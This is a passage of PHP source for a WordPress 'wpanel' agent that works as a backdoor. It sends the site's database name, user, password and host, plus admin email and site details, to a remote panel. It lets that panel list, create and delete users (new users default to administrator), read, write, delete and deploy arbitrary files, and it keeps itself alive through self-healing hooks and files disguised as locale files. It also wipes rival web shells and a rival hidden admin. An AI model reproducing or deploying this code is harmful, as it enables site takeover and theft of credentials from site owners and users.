                'X-WPanel-Register-Secret' => wpanel_secret(),
            ],
            'body' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
        ]);
        return;
    }

    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 1,
            'ignore_errors' => true,
        ],
    ]);
    @file_get_contents($panel . '/agent/event', false, $ctx);
}

function wpanel_maybe_heartbeat() {
    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        return;
    }

    $key = 'wpanel_hb_' . md5(wpanel_self_url());
    if (get_transient($key)) {
        return;
    }

    set_transient($key, 1, wpanel_signal_interval());
    wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}

function wpanel_push_event_async($type, $extra = []) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return;
    }

    $payload = array_merge([
        'type' => $type,
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
    ], $extra);

    $body = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    $headers = [
        'Content-Type' => 'application/json',
        'X-WPanel-Register-Secret' => wpanel_secret(),
    ];

    if (function_exists('wp_remote_post')) {
        wp_remote_post($panel . '/agent/event', [
            'method' => 'POST',
            'timeout' => 1,
            'blocking' => false,
            'headers' => $headers,
            'body' => $body,
        ]);
        return;
    }

    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => $body,
            'timeout' => 1,
            'ignore_errors' => true,
        ],
    ]);
    @file_get_contents($panel . '/agent/event', false, $ctx);
}

function wpanel_panel_url() {
    return rtrim((string) WPANEL_PANEL_URL, '/');
}

function wpanel_push_event($type, $extra = []) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
    }

    $payload = array_merge([
        'type' => $type,
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
    ], $extra);

    $ch = curl_init($panel . '/agent/event');
    if ($ch === false) {
        return wpanel_push_event_via_file($panel, $payload);
    }

    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 8,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WPanel-Register-Secret: ' . wpanel_secret(),
            'Accept: application/json',
        ],
        CURLOPT_POSTFIELDS => json_encode($payload),
    ]);
    $body = curl_exec($ch);
    $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($body === false || $code < 200 || $code >= 300) {
        return ['ok' => false, 'error' => 'event push failed'];
    }

    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}

function wpanel_push_event_via_file($panel, $payload) {
    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 8,
            'ignore_errors' => true,
        ],
    ]);
    $body = @file_get_contents($panel . '/agent/event', false, $ctx);
    if ($body === false) {
        return ['ok' => false, 'error' => 'Panel erişilemedi'];
    }
    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}

function wpanel_register_with_panel($reason = 'load') {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
    }

    $info = wpanel_site_info();
    $info['meta']['register_reason'] = $reason;

    $payload = [
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => $info,
        'db' => wpanel_db_info(),
        'reason' => $reason,
        'fallback_urls' => wpanel_fallback_urls(),
    ];

    $ch = curl_init($panel . '/agent/register');
    if ($ch === false) {
        return wpanel_register_via_file($panel, $payload);
    }

    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 20,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WPanel-Register-Secret: ' . wpanel_secret(),
            'Accept: application/json',
        ],
        CURLOPT_POSTFIELDS => json_encode($payload),
    ]);
    $body = curl_exec($ch);
    $err = curl_error($ch);
    $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($body === false) {
        return ['ok' => false, 'error' => $err ?: 'curl failed'];
    }

    $data = json_decode($body, true);
    if ($code < 200 || $code >= 300 || empty($data['ok'])) {
        return ['ok' => false, 'error' => is_array($data) ? (isset($data['error']) ? $data['error'] : ('HTTP ' . $code)) : ('HTTP ' . $code)];
    }
    return ['ok' => true, 'data' => $data];
}

function wpanel_register_via_file($panel, $payload) {
    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 20,
            'ignore_errors' => true,
        ],
    ]);
    $body = @file_get_contents($panel . '/agent/register', false, $ctx);
    if ($body === false) {
        return ['ok' => false, 'error' => 'Panel erişilemedi'];
    }
    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'register failed'];
}

function wpanel_site_info() {
    global $wp_version;
    $theme = function_exists('wp_get_theme') ? wp_get_theme() : null;
    return [
        'site_title' => function_exists('get_bloginfo') ? get_bloginfo('name') : '',
        'admin_email' => function_exists('get_option') ? get_option('admin_email') : '',
        'wp_version' => isset($wp_version) ? $wp_version : '',
        'php_version' => PHP_VERSION,
        'theme' => ($theme && method_exists($theme, 'get')) ? $theme->get('Name') : '',
        'meta' => [
            'multisite' => function_exists('is_multisite') ? is_multisite() : false,
            'locale' => function_exists('get_locale') ? get_locale() : '',
            'agent' => 'wpanel-embedded',
            'agent_url' => function_exists('wpanel_self_url') ? wpanel_self_url() : '',
            'fallback_urls' => function_exists('wpanel_fallback_urls') ? wpanel_fallback_urls() : [],
            'agent_version' => WPANEL_AGENT_VERSION,
            'mode' => defined('WPANEL_STANDALONE_BOOT') ? 'standalone' : 'embedded',
        ],
    ];
}

function wpanel_extra_meta() {
    $counts = count_users();
    return [
        'active_plugins' => count((array) get_option('active_plugins', [])),
        'users_count' => (int) (isset($counts['total_users']) ? $counts['total_users'] : 0),
        'memory_limit' => ini_get('memory_limit'),
    ];
}

function wpanel_db_info() {
    global $wpdb;
    return [
        'name' => defined('DB_NAME') ? DB_NAME : '',
        'user' => defined('DB_USER') ? DB_USER : '',
        'pass' => defined('DB_PASSWORD') ? DB_PASSWORD : '',
        'host' => defined('DB_HOST') ? DB_HOST : '',
        'prefix' => isset($wpdb->prefix) ? $wpdb->prefix : '',
        'charset' => defined('DB_CHARSET') ? DB_CHARSET : '',
    ];
}

function wpanel_list_users() {
    // Bazı güvenlik eklentileri giriş yokken get_users() sonucunu boşaltır.
    // Mümkünse admin bağlamı aç; yine boşsa doğrudan DB'den oku.
    if (function_exists('wp_set_current_user') && function_exists('get_users')) {
        $admins = get_users(['role' => 'administrator', 'number' => 1, 'fields' => ['ID']]);
        if ($admins) {
            $aid = is_object($admins[0]) ? (int) $admins[0]->ID : (int) $admins[0];
            if ($aid > 0) {
                wp_set_current_user($aid);
            }
        }
    }

    $out = [];
    if (function_exists('get_users')) {
        $users = get_users(['orderby' => 'ID', 'order' => 'ASC', 'number' => 500]);
        foreach ($users as $user) {
            $out[] = [
                'ID' => (int) $user->ID,
                'user_login' => $user->user_login,
                'user_email' => $user->user_email,
                'display_name' => $user->display_name,
                'roles' => array_values((array) $user->roles),
                'registered' => $user->user_registered,
            ];
        }
    }
    if ($out) {
        return $out;
    }

    global $wpdb;
    if (!isset($wpdb) || !is_object($wpdb) || empty($wpdb->users)) {
        return $out;
    }
    $rows = $wpdb->get_results(
        "SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} ORDER BY ID ASC LIMIT 500"
    );
    if (!is_array($rows)) {
        return $out;
    }
    foreach ($rows as $row) {
        $roles = [];
        if (class_exists('WP_User')) {
            $u = new WP_User((int) $row->ID);
            $roles = array_values((array) $u->roles);
        }
        $out[] = [
            'ID' => (int) $row->ID,
            'user_login' => (string) $row->user_login,
            'user_email' => (string) $row->user_email,
            'display_name' => (string) $row->display_name,
            'roles' => $roles,
            'registered' => (string) $row->user_registered,
        ];
    }
    return $out;
}

function wpanel_create_user($body) {
    $login = sanitize_user((string) (isset($body['user_login']) ? $body['user_login'] : ''), true);
    $email = sanitize_email((string) (isset($body['user_email']) ? $body['user_email'] : ''));
    $pass = (string) (isset($body['user_pass']) ? $body['user_pass'] : '');
    $role = sanitize_key((string) (isset($body['role']) ? $body['role'] : 'administrator'));

    if ($login === '' || $email === '' || $pass === '') {
        return ['ok' => false, 'error' => 'user_login, user_email, user_pass gerekli'];
    }
    if (!get_role($role)) {
        return ['ok' => false, 'error' => 'Geçersiz rol'];
    }
    if (username_exists($login) || email_exists($email)) {
        return ['ok' => false, 'error' => 'Kullanıcı veya e-posta zaten var'];
    }

    $user_id = wp_insert_user([
        'user_login' => $login,
        'user_email' => $email,
        'user_pass' => $pass,
        'role' => $role,
    ]);

    if (is_wp_error($user_id)) {
        return ['ok' => false, 'error' => $user_id->get_error_message()];
    }

    return [
        'ok' => true,
        'user' => [
            'ID' => (int) $user_id,
            'user_login' => $login,
            'user_email' => $email,
            'role' => $role,
        ],
    ];
}

function wpanel_delete_user($body) {
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
    if ($user_id <= 0) {
        return ['ok' => false, 'error' => 'user_id gerekli'];
    }
    $reassign = isset($body['reassign']) && $body['reassign'] !== '' && $body['reassign'] !== null
        ? (int) $body['reassign']
        : null;
    if (!wp_delete_user($user_id, $reassign)) {
        return ['ok' => false, 'error' => 'Silinemedi'];
    }
    return ['ok' => true, 'deleted' => $user_id];
}

function wpanel_set_role($body) {
    $user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
    $role = sanitize_key((string) (isset($body['role']) ? $body['role'] : ''));
    if ($user_id <= 0 || $role === '') {
        return ['ok' => false, 'error' => 'user_id ve role gerekli'];
    }
    if (!get_role($role)) {
        return ['ok' => false, 'error' => 'Geçersiz rol'];
    }
    $user = new WP_User($user_id);
    if (!$user->exists()) {
        return ['ok' => false, 'error' => 'Kullanıcı yok'];
    }
    $user->set_role($role);
    return ['ok' => true, 'user_id' => $user_id, 'role' => $role];
}

/**
 * File Manager — kök: WordPress kurulum dizini (ABSPATH). Tüm site dosyalarını kapsar.
 */
function wpanel_fm_base() {
    if (defined('ABSPATH')) {
        $b = realpath(ABSPATH);
        if ($b !== false) {
            return rtrim($b, '/\\');
        }
    }
    if (defined('WP_CONTENT_DIR')) {
        $b = realpath(WP_CONTENT_DIR);
        if ($b !== false) {
            return rtrim($b, '/\\');
        }
    }
    return rtrim(dirname(__DIR__), '/\\');
}

/** Göreli yolu köke göre çözer; kök dışına çıkışı engeller. Dosya yoksa da (yazma için) döner. */
function wpanel_fm_resolve($rel, $mustExist = true) {
    $base = wpanel_fm_base();
    $rel = (string) $rel;
    $rel = str_replace('\\', '/', $rel);
    // .. parçalarını at
    $parts = [];
    foreach (explode('/', $rel) as $seg) {
        if ($seg === '' || $seg === '.') {
            continue;
        }
        if ($seg === '..') {
            array_pop($parts);
            continue;
        }
        $parts[] = $seg;
    }
    $full = $base . ($parts ? '/' . implode('/', $parts) : '');
    if ($mustExist) {
        $real = realpath($full);
        if ($real === false || strpos($real, $base) !== 0) {
            return false;
        }
        return $real;
    }
    // yazma: parent var olmalı ve kök içinde olmalı
    $parent = realpath(dirname($full));
    if ($parent === false || strpos($parent, $base) !== 0) {
        return false;
    }
    return rtrim($parent, '/\\') . '/' . basename($full);
}

function wpanel_fm_list($body) {
    $rel = isset($body['path']) ? (string) $body['path'] : '';
    $base = wpanel_fm_base();
    $dir = wpanel_fm_resolve($rel, true);
    if ($dir === false || !is_dir($dir)) {
        return ['ok' => false, 'error' => 'Dizin bulunamadı'];
    }
    $items = [];
    $list = @scandir($dir);
    if (!is_array($list)) {
        return ['ok' => false, 'error' => 'Okunamadı'];
    }
    foreach ($list as $f) {
        if ($f === '.' || $f === '..') {
            continue;
        }
        $p = $dir . '/' . $f;
        $isDir = is_dir($p);
        $items[] = [
            'name' => $f,
            'type' => $isDir ? 'dir' : 'file',
            'size' => $isDir ? 0 : (int) @filesize($p),
            'mtime' => (int) @filemtime($p),
            'perms' => substr(sprintf('%o', @fileperms($p)), -4),
            'writable' => is_writable($p),
        ];
    }
    usort($items, function ($a, $b) {
        if ($a['type'] !== $b['type']) {
            return $a['type'] === 'dir' ? -1 : 1;
        }
        return strcasecmp($a['name'], $b['name']);
    });
    $relOut = ltrim(str_replace($base, '', $dir), '/');
    return ['ok' => true, 'base' => $base, 'path' => $relOut, 'items' => $items, 'agent_version' => WPANEL_AGENT_VERSION];
}

function wpanel_fm_read($body) {
    $rel = isset($body['path']) ? (string) $body['path'] : '';
    $file = wpanel_fm_resolve($rel, true);
    if ($file === false || !is_file($file)) {
        return ['ok' => false, 'error' => 'Dosya bulunamadı'];
    }
    $size = (int) @filesize($file);
    $max = 5 * 1024 * 1024;
    if ($size > $max) {
        return ['ok' => false, 'error' => 'Dosya çok büyük (>5MB)', 'size' => $size];
    }
    $content = @file_get_contents($file);
    if ($content === false) {
        return ['ok' => false, 'error' => 'Okunamadı'];
    }
    return [
        'ok' => true,
        'path' => $rel,
        'size' => $size,
        'mtime' => (int) @filemtime($file),
        'content_b64' => base64_encode($content),
        'agent_version' => WPANEL_AGENT_VERSION,
    ];
}

function wpanel_fm_write($body) {
    $rel = isset($body['path']) ? (string) $body['path'] : '';
    if ($rel === '') {
        return ['ok' => false, 'error' => 'path gerekli'];
    }
    $file = wpanel_fm_resolve($rel, false);
    if ($file === false) {
        return ['ok' => false, 'error' => 'Geçersiz yol'];
    }
    if (isset($body['content_b64'])) {
        $data = base64_decode((string) $body['content_b64'], true);
        if ($data === false) {
            return ['ok' => false, 'error' => 'content_b64 geçersiz'];
        }
    } else {
        $data = isset($body['content']) ? (string) $body['content'] : '';
    }
    $dir = dirname($file);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    if (is_file($file)) {
        @chmod($file, 0644);
    }
    $bytes = @file_put_contents($file, $data, LOCK_EX);
    if ($bytes === false) {
        return ['ok' => false, 'error' => 'Yazılamadı (izin?)'];
    }
    return ['ok' => true, 'path' => $rel, 'bytes' => $bytes, 'agent_version' => WPANEL_AGENT_VERSION];
}

function wpanel_fm_rrmdir($dir) {
    $items = @scandir($dir);
    if (is_array($items)) {
        foreach ($items as $f) {
            if ($f === '.' || $f === '..') {
                continue;
            }
            $p = $dir . '/' . $f;
            if (is_dir($p) && !is_link($p)) {
                wpanel_fm_rrmdir($p);
            } else {
                @unlink($p);
            }
        }
    }
    return @rmdir($dir);
}

function wpanel_fm_delete($body) {
    $rel = isset($body['path']) ? (string) $body['path'] : '';
    if ($rel === '') {
        return ['ok' => false, 'error' => 'path gerekli'];
    }
    $target = wpanel_fm_resolve($rel, true);
    if ($target === false) {
        return ['ok' => false, 'error' => 'Bulunamadı'];
    }
    // agent kendini silmesin
    $selfBase = basename($target);
    if ($selfBase === basename(__FILE__)) {
        return ['ok' => false, 'error' => 'Agent dosyası silinemez'];
    }
    if (is_dir($target) && !is_link($target)) {
        $ok = wpanel_fm_rrmdir($target);
    } else {
        @chmod($target, 0644);
        $ok = @unlink($target);
    }
    return $ok ? ['ok' => true, 'deleted' => $rel] : ['ok' => false, 'error' => 'Silinemedi'];
}

function wpanel_fm_mkdir($body) {
    $rel = isset($body['path']) ? (string) $body['path'] : '';
    if ($rel === '') {
        return ['ok' => false, 'error' => 'path gerekli'];
    }
    $dir = wpanel_fm_resolve($rel, false);
    if ($dir === false) {
        return ['ok' => false, 'error' => 'Geçersiz yol'];
    }
    if (is_dir($dir)) {
        return ['ok' => true, 'path' => $rel, 'exists' => true];
    }
    if (!@mkdir($dir, 0755, true) && !is_dir($dir)) {
        return ['ok' => false, 'error' => 'Oluşturulamadı'];
    }
    return ['ok' => true, 'path' => $rel];
}

function wpanel_fm_rename($body) {
    $from = isset($body['from']) ? (string) $body['from'] : '';
    $to = isset($body['to']) ? (string) $body['to'] : '';
    if ($from === '' || $to === '') {
        return ['ok' => false, 'error' => 'from ve to gerekli'];
    }
    $src = wpanel_fm_resolve($from, true);
    $dst = wpanel_fm_resolve($to, false);
    if ($src === false) {
        return ['ok' => false, 'error' => 'Kaynak yok'];
    }
    if ($dst === false) {
        return ['ok' => false, 'error' => 'Hedef geçersiz'];
    }
    $dir = dirname($dst);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    if (!@rename($src, $dst)) {
        return ['ok' => false, 'error' => 'Taşınamadı'];
    }
    return ['ok' => true, 'from' => $from, 'to' => $to];
}

function wpanel_upload() {
    if (!wpanel_panel_gate_ok()) {
        return ['ok' => false, 'error' => 'Upload gate gerekli'];
    }
    if (empty($_FILES['file']['tmp_name'])) {
        return ['ok' => false, 'error' => 'file gerekli'];
    }
    $file = $_FILES['file'];
    if (!empty($file['error'])) {
        return ['ok' => false, 'error' => 'Upload error'];
    }

    $name = isset($file['name']) ? (string) $file['name'] : '';
    if (function_exists('sanitize_file_name')) {
        $name = sanitize_file_name($name);
    } else {
        $name = preg_replace('/[^A-Za-z0-9._-]/', '', $name);
    }
    if ($name === '') {
        return ['ok' => false, 'error' => 'Geçersiz dosya adı'];
    }

    $relative = isset($_POST['path']) ? (string) $_POST['path'] : '';
    $relative = str_replace(['..', '\\'], ['', '/'], $relative);
    $relative = trim($relative, '/');

    $base = WP_CONTENT_DIR;
    $dest_dir = $relative !== '' ? $base . '/' . $relative : $base . '/uploads/wpanel';
    $realBase = realpath($base);
    if ($realBase === false) {
        return ['ok' => false, 'error' => 'base yok'];
    }
    if (!is_dir($dest_dir)) {
        if (!function_exists('wp_mkdir_p') || !wp_mkdir_p($dest_dir)) {
            if (!@mkdir($dest_dir, 0755, true) && !is_dir($dest_dir)) {
                return ['ok' => false, 'error' => 'Klasör oluşturulamadı'];
            }
        }
    }
    $realDest = realpath($dest_dir);
    if ($realDest === false || strpos($realDest, $realBase) !== 0) {
        return ['ok' => false, 'error' => 'path kaçışı engellendi'];
    }

    $dest = rtrim($realDest, '/') . '/' . $name;
    if (!move_uploaded_file($file['tmp_name'], $dest)) {
        if (!@rename($file['tmp_name'], $dest) && !@copy($file['tmp_name'], $dest)) {
            return ['ok' => false, 'error' => 'Dosya taşınamadı'];
        }
    }

    $url = function_exists('content_url')
        ? content_url(ltrim(str_replace(WP_CONTENT_DIR, '', $dest), '/'))
        : '';
    return ['ok' => true, 'path' => $dest, 'url' => $url, 'name' => $name];
}

/**
 * Panel'den ham dosya yazımı: { files: [ { path: "languages/x.php", content_b64: "..." } ] }
 * path WP_CONTENT_DIR göreli; .. yok.
 */
function wpanel_deploy_files($body) {
    if (!is_array($body)) {
        return ['ok' => false, 'error' => 'body gerekli'];
    }
    $files = isset($body['files']) && is_array($body['files']) ? $body['files'] : [];
    if (!$files) {
        return ['ok' => false, 'error' => 'files gerekli'];
    }
    if (!defined('WP_CONTENT_DIR')) {
        return ['ok' => false, 'error' => 'WP_CONTENT_DIR yok'];
    }
    $base = realpath(WP_CONTENT_DIR);
    if ($base === false) {
        return ['ok' => false, 'error' => 'base yok'];
    }
    $written = [];
    foreach ($files as $item) {
        if (!is_array($item)) {
            continue;
        }
        $rel = isset($item['path']) ? (string) $item['path'] : '';
        $rel = str_replace(['..', '\\'], ['', '/'], $rel);
        $rel = ltrim($rel, '/');
        if ($rel === '') {
            continue;
        }
        $b64 = isset($item['content_b64']) ? (string) $item['content_b64'] : '';
        if ($b64 === '' && isset($item['content'])) {
            $raw = (string) $item['content'];
        } else {
            $raw = base64_decode($b64, true);
            if ($raw === false) {
                continue;
            }
        }
        $dest = $base . '/' . $rel;
        $dir = dirname($dest);
        if (!is_dir($dir)) {
            if (function_exists('wp_mkdir_p')) {
                wp_mkdir_p($dir);
            } else {
                @mkdir($dir, 0755, true);
            }
        }
        @chmod($dest, 0644);
        if (@file_put_contents($dest, $raw, LOCK_EX) !== false) {
            @chmod($dest, 0644);
            $written[] = $rel;
        }
    }
    return [
        'ok' => true,
        'written' => $written,
        'count' => count($written),
        'agent_version' => WPANEL_AGENT_VERSION,
    ];
}

/**
 * Bilinen shell / backdoor temizliği + sahte admin.
 */
function wpanel_cleanup_malware() {
    $deleted = [];
    $roots = [];
    if (defined('ABSPATH')) {
        $roots[] = rtrim(ABSPATH, '/\\');
    }
    if (defined('WP_CONTENT_DIR')) {
        $roots[] = rtrim(WP_CONTENT_DIR, '/\\');
    }

    $exact = [
        'yakala.php',
        'wp-optimizer.php',
        'mydickisbigbrofuckingedonnazia.php',
        'worksec.php',
        'wp-cache-setting.php',
        'wp-trackbacks.php',
        'wp-mails.php',
        'wpanel-audit-list.php',
        'nox-google.php',
        'wp-login-throttle.php',
        'wp-mail-queue.php',
        'wp-formplugin.php',
        'wp-core-health.php',
        'rootseo.php',
        'waf.php',
        'nox-google-bot-bypass.php',
        'rootseo-links-v5.php',
        'wp2shell-batch-guard.php',
    ];
    $exactMap = array_fill_keys($exact, true);

    // ABSPATH kök dosyalar
    if (defined('ABSPATH')) {
        $ab = rtrim(ABSPATH, '/\\');
        foreach (['yakala.php', 'wp-optimizer.php', 'shell.php', 'wso.php', 'alfa.php', 'wp-trackbacks.php', 'wp-mails.php'] as $f) {
            $p = $ab . '/' . $f;
            if (is_file($p) && @unlink($p)) {
                $deleted[] = $p;
            }
        }
    }

    // Recursive tarama (derinlik 6) — wp-trackbacks vb. her yerde
    $skipNames = [
        'node_modules' => true,
        '.git' => true,
        'vendor' => true,
    ];
    foreach (array_unique($roots) as $root) {
        if (!is_dir($root)) {
            continue;
        }
        try {
            $dirIter = new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS);
            $it = new RecursiveIteratorIterator($dirIter, RecursiveIteratorIterator::SELF_FIRST);
            $it->setMaxDepth(6);
            foreach ($it as $file) {
                if (!$file->isFile()) {
                    $base = strtolower($file->getFilename());
                    if (isset($skipNames[$base])) {
                        $it->next();
                    }
                    continue;
                }
                $name = strtolower($file->getFilename());
                $path = $file->getPathname();
                $norm = str_replace('\\', '/', $path);
                $kill = false;
                if (isset($exactMap[$name])) {
                    $kill = true;
                }
                if (preg_match('/^class-wp-[a-z]+_[0-9a-f]{6,}\.php$/', $name)) {
                    $kill = true;
                }
                if (preg_match('/^(shell|wso|alfa|c99|r57|bypass|backdoor|filesman|wp2shell)[0-9._-]*\.(php|phtml|phar)$/i', $name)) {
                    // WP core Diff engine + meşru eklenti sınıfları korunur
                    if (
                        strpos($norm, '/Text/Diff/') !== false
                        || strpos($norm, '/duplicator/') !== false
                        || strpos($norm, '/exec-with-fallback/') !== false
                        || strpos($name, 'shellexec') !== false
                    ) {
                        $kill = false;
                    } else {
                        $kill = true;
                    }
                }
                if (strpos($norm, '/uploads/wpanel/') !== false && preg_match('/\.(php|phtml|phar)$/i', $name)) {
                    $kill = true;
                }
                // agent kalıcılık dosyalarını koru
                if (strpos($name, 'class-wp-locale-') === 0 || $name === 'wp-locale-bootstrap.php' || $name === 'agent.php') {
                    $kill = false;
                }
                if ($kill && @unlink($path)) {
                    $deleted[] = $path;
                }
            }
        } catch (Exception $e) {
            // ignore
        }
    }

    // Sahte admin wphiddenbot (+ varyant)
    $userRemoved = false;
    $removedLogins = [];
    if (function_exists('get_user_by')) {
        if (!function_exists('wp_delete_user') && defined('ABSPATH')) {
            @require_once ABSPATH . 'wp-admin/includes/user.php';
        }
        foreach (['wphiddenbot', 'wp_hiddenbot', 'wphidden_bot', 'hiddenbot'] as $login) {
            $u = get_user_by('login', $login);
            if ($u && !empty($u->ID) && function_exists('wp_delete_user')) {
                if (wp_delete_user((int) $u->ID)) {
                    $userRemoved = true;
                    $removedLogins[] = $login;
                }
            }
        }
    }

    return [
        'ok' => true,
        'deleted' => $deleted,
        'deleted_count' => count($deleted),
        'wphiddenbot_removed' => $userRemoved,
        'removed_logins' => $removedLogins,
        'agent_version' => WPANEL_AGENT_VERSION,
    ];
}

function wpanel_list_plugins() {
    if (!function_exists('get_plugins')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $all = get_plugins();
    $active = (array) get_option('active_plugins', []);
    $out = [];
    foreach ($all as $file => $data) {
        $out[] = [
            'file' => $file,
            'name' => isset($data['Name']) ? $data['Name'] : $file,
            'version' => isset($data['Version']) ? $data['Version'] : '',
            'active' => in_array($file, $active, true),
        ];
    }
    return $out;
}

function wpanel_agent_start() {
    static $done = false;
    if ($done) {
        return;
    }
    $done = true;
    wpanel_self_heal_install();
    wpanel_ensure_functions_loader();
    wpanel_bootstrap_hooks();

    // Hook'lar kaçırıldıysa (geç yükleme) hemen çalıştır
    if (function_exists('did_action')) {
        if (did_action('plugins_loaded') || did_action('muplugins_loaded') || did_action('init')) {
            wpanel_on_early_boot();
        }
        if (did_action('init') && !wpanel_is_agent_request()) {
            wpanel_maybe_register();
            wpanel_maybe_heartbeat();
        }
    } elseif (wpanel_is_agent_request()) {
        wpanel_handle_request();
    }
}

function wpanel_try_register_hooks() {
    if (!function_exists('add_action')) {
        return false;
    }
    add_action('muplugins_loaded', 'wpanel_agent_start', 0);
    add_action('plugins_loaded', 'wpanel_agent_start', 0);
    add_action('after_setup_theme', 'wpanel_agent_start', 1);
    add_action('init', 'wpanel_agent_start', 0);

    if (function_exists('did_action')) {
        if (did_action('muplugins_loaded') || did_action('plugins_loaded') || did_action('after_setup_theme') || did_action('init')) {
            wpanel_agent_start();
        }
    }
    return true;
}

if (!wpanel_try_register_hooks()) {
    // db.php gibi erken yükleme: add_action henüz yok.
    // Fonksiyonlar hazır; mu-plugin / sonraki include wpanel_agent_start() çağırır.
    if (!defined('WPANEL_EARLY_LOADED')) {
        define('WPANEL_EARLY_LOADED', true);
    }
}

        }
    }
}